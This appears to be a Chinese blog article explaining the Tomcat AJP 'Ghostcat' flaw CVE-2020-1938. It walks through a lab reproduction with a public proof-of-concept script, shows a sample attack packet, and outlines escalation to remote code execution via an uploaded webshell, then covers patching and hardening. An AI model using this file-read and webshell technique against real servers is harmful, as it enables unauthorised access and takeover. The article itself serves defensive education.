当前位置: 首页 > news >正文

漏洞深度剖析:从CVE-2020-1938看Tomcat AJP协议的安全攻防

1. 漏洞背景与影响范围

CVE-2020-1938这个漏洞在安全圈里有个更形象的名字——"幽灵猫"。我第一次听说这个漏洞时,正在给客户做安全评估,突然发现内网好几台Tomcat服务器都中招了。这个漏洞之所以危险,是因为它利用了Tomcat默认开启的AJP协议,攻击者不需要任何认证就能读取服务器上的敏感文件。

AJP协议全称Apache JServ Protocol,是Tomcat为了与其他Web服务器(比如Apache HTTPD)高效通信而设计的二进制协议。默认情况下,Tomcat安装后会开启8009端口监听AJP请求。问题就出在这个协议的设计上——它没有对请求做足够的权限校验,导致攻击者可以构造特殊的数据包来读取任意文件。

受影响的版本范围相当广:

  • Tomcat 6全系列
  • Tomcat 7 < 7.0.100
  • Tomcat 8 < 8.5.51
  • Tomcat 9 < 9.0.31

我在实际渗透测试中发现,很多企业还在使用Tomcat 8.5.x的老版本,这就给攻击者留下了可乘之机。最要命的是,如果目标服务器还允许文件上传,这个文件读取漏洞很可能升级为远程代码执行(RCE),相当于拿到了服务器的完全控制权。

2. AJP协议的工作原理与漏洞成因

2.1 AJP协议的工作机制

要理解这个漏洞,得先搞清楚AJP协议是怎么工作的。我抓过几次AJP协议的数据包,发现它和HTTP协议最大的不同在于:

  1. 采用二进制格式传输数据
  2. 使用持久化连接
  3. 默认不加密通信内容

当Tomcat收到AJP请求时,会按照以下流程处理:

  1. 解析请求头中的属性(比如请求路径、参数等)
  2. 根据属性定位到对应的Web应用
  3. 执行相应的Servlet处理逻辑
  4. 返回响应数据

漏洞就出在第一步——Tomcat对AJP请求中的javax.servlet.include.path_infojavax.servlet.include.servlet_path这两个属性没有做严格校验。攻击者可以构造特殊的属性值,让Tomcat误以为是在处理一个文件包含请求。

2.2 漏洞利用的关键点

我分析过漏洞利用的POC代码,发现攻击者主要利用了以下几个特性:

  1. 通过AJP协议的forward_request消息类型发送请求
  2. 在请求属性中设置javax.servlet.include.*系列参数
  3. 通过req_attribute字段控制文件路径

一个典型的攻击数据包长这样(简化版):

0x0000: 02 03 00 01 0a 00 00 00 01 00 1a 6a 61 76 61 78 0x0010: 2e 73 65 72 76 6c 65 74 2e 69 6e 63 6c 75 64 65 0x0020: 2e 70 61 74 68 5f 69 6e 66 6f 00 01 2f 00 1b 6a 0x0030: 61 76 61 78 2e 73 65 72 76 6c 65 74 2e 69 6e 63 0x0040: 6c 75 64 65 2e 73 65 72 76 6c 65 74 5f 70 61 74 0x0050: 68 00 01 2f

这个数据包的关键在于:

  • 设置了javax.servlet.include.path_info属性
  • 指定了要读取的文件路径
  • 利用了Tomcat对属性值的信任机制

3. 漏洞复现实战演示

3.1 环境搭建

我在本地用Docker搭建了漏洞复现环境,具体步骤如下:

  1. 拉取存在漏洞的Tomcat镜像:
docker pull tomcat:8.5.32
  1. 启动容器并映射端口:
docker run -d -p 8080:8080 -p 8009:8009 --name vulnerable_tomcat tomcat:8.5.32
  1. 验证服务是否正常运行:
curl http://localhost:8080

3.2 漏洞验证

使用公开的POC脚本进行测试:

  1. 下载POC工具:
git clone https://github.com/YDHCUI/CNVD-2020-10488-Tomcat-Ajp-lfi
  1. 执行漏洞检测:
python CNVD-2020-10488-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f /WEB-INF/web.xml
  1. 如果漏洞存在,会返回web.xml文件内容:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to Tomcat </description> </web-app>

3.3 进阶利用

如果目标服务器允许文件上传,可以尝试升级为RCE:

  1. 上传一个包含恶意代码的JSP文件
  2. 通过AJP协议包含这个文件
  3. 触发恶意代码执行

我曾在一次渗透测试中,利用这个漏洞成功获取了目标服务器的shell。具体步骤是:

  1. 先上传一个webshell到服务器的临时目录
  2. 然后通过AJP协议包含这个webshell
  3. 最后通过webshell执行系统命令

4. 防御措施与修复方案

4.1 临时解决方案

如果暂时无法升级Tomcat版本,可以采取以下措施:

  1. 禁用AJP协议: 修改conf/server.xml文件,注释掉AJP连接器配置:
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
  1. 配置AJP认证: 如果必须使用AJP协议,可以启用认证机制:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" secretRequired="true" secret="your_secure_password" />

4.2 永久修复方案

最安全的做法是升级到修复版本:

  • Tomcat 7.0.100+
  • Tomcat 8.5.51+
  • Tomcat 9.0.31+

升级步骤:

  1. 备份当前配置和部署的应用
  2. 下载新版本Tomcat
  3. 停止旧版本服务
  4. 部署新版本并恢复配置
  5. 测试应用是否正常运行

4.3 安全加固建议

根据我的经验,除了修复这个特定漏洞外,还应该:

  1. 定期更新Tomcat和其他中间件
  2. 限制AJP协议的访问源IP
  3. 启用Tomcat的安全管理器
  4. 配置严格的文件系统权限
  5. 部署WAF等防护设备

我在给客户做安全加固时,通常会建议他们采用最小权限原则,只开放必要的端口和服务。对于Tomcat来说,如果不需要AJP协议,最好彻底禁用它。

http://www.cnnetsun.cn/news/2604853.html

相关文章:

  • 从模糊提问到精准答案,ChatGPT知识问答全流程拆解,深度解析LLM理解链路与语义锚点设计
  • 2026企业品牌传播趋势洞察软文营销平台引领行业高质量发展
  • Python网络嗅探实战:用Scapy打造你的命令行Wireshark
  • RAG 检索静默失效排查:从相似度阈值误设到分层召回治理的工程实践
  • 戴森球计划8000+工厂蓝图完全指南:快速打造高效星际帝国的终极解决方案
  • 保姆级教程:用STM32CubeMX HAL库搞定大彩串口屏与STM32G070CBT6的串口通讯
  • 图片优化误区与策略:从盲目压缩到体验优先的全面指南
  • 告别官方全家桶:手把手教你用Docker Compose拆分部署PagePlug低代码平台
  • 告别枯燥语法!用CAPL在CANoe里玩转汽车网络仿真(附实战代码片段)
  • ChatGPT职业规划不是选方向,而是建护城河:顶尖咨询公司内部使用的5维抗替代性评估模型
  • ARM SIMD与浮点指令优化实战指南
  • 柯朗-弗里德里奇-列维(Courant-Friedrichs-Lewy)条件,库朗特数(Courant numner),一般写成CFL条件。-和 冯-诺伊曼稳定性分析-的区别
  • 将hermes agent智能体工具链接入taotoken的配置要点
  • 从零开始使用Taotoken搭建一个多模型测试平台
  • 多孔质气体径向轴承静动特性与优化设计方案【附仿真】
  • RISC-V机器码边界模型检查技术解析
  • Tiny RDM多语言切换指南:让Redis管理跨越语言障碍
  • FlicFlac终极指南:轻量级音频转换工具的高效使用技巧
  • AntiDupl终极指南:免费开源智能图片去重工具完整使用教程
  • 手把手教你用Vivado 2019.2搭建FPGA数字AGC系统(附完整Verilog代码和Testbench)
  • LCC补偿网络在智能车无线充电系统中的应用与优化设计
  • 【PADS实战】从零构建接插器与多门封装:一个完整元器件的诞生
  • 告别虚拟机!在Windows 11上快速搭建Masm汇编实验环境(2023版)
  • 高效获取教育资源的完整方案:开源电子课本下载工具使用指南
  • 智能雕塑ITTT:用多模态交互与游戏化设计让文物可触摸
  • 05-26 · LLM 最新论文速览
  • 超越Cron:五大自动化策略降低企业运营成本
  • 如何快速掌握Digital逻辑设计器:新手必看的完整入门教程
  • 深入0x10服务:除了会话切换,P2与P2*时间参数到底怎么用?
  • 内容创作团队如何利用Taotoken多模型能力提升文案生成效率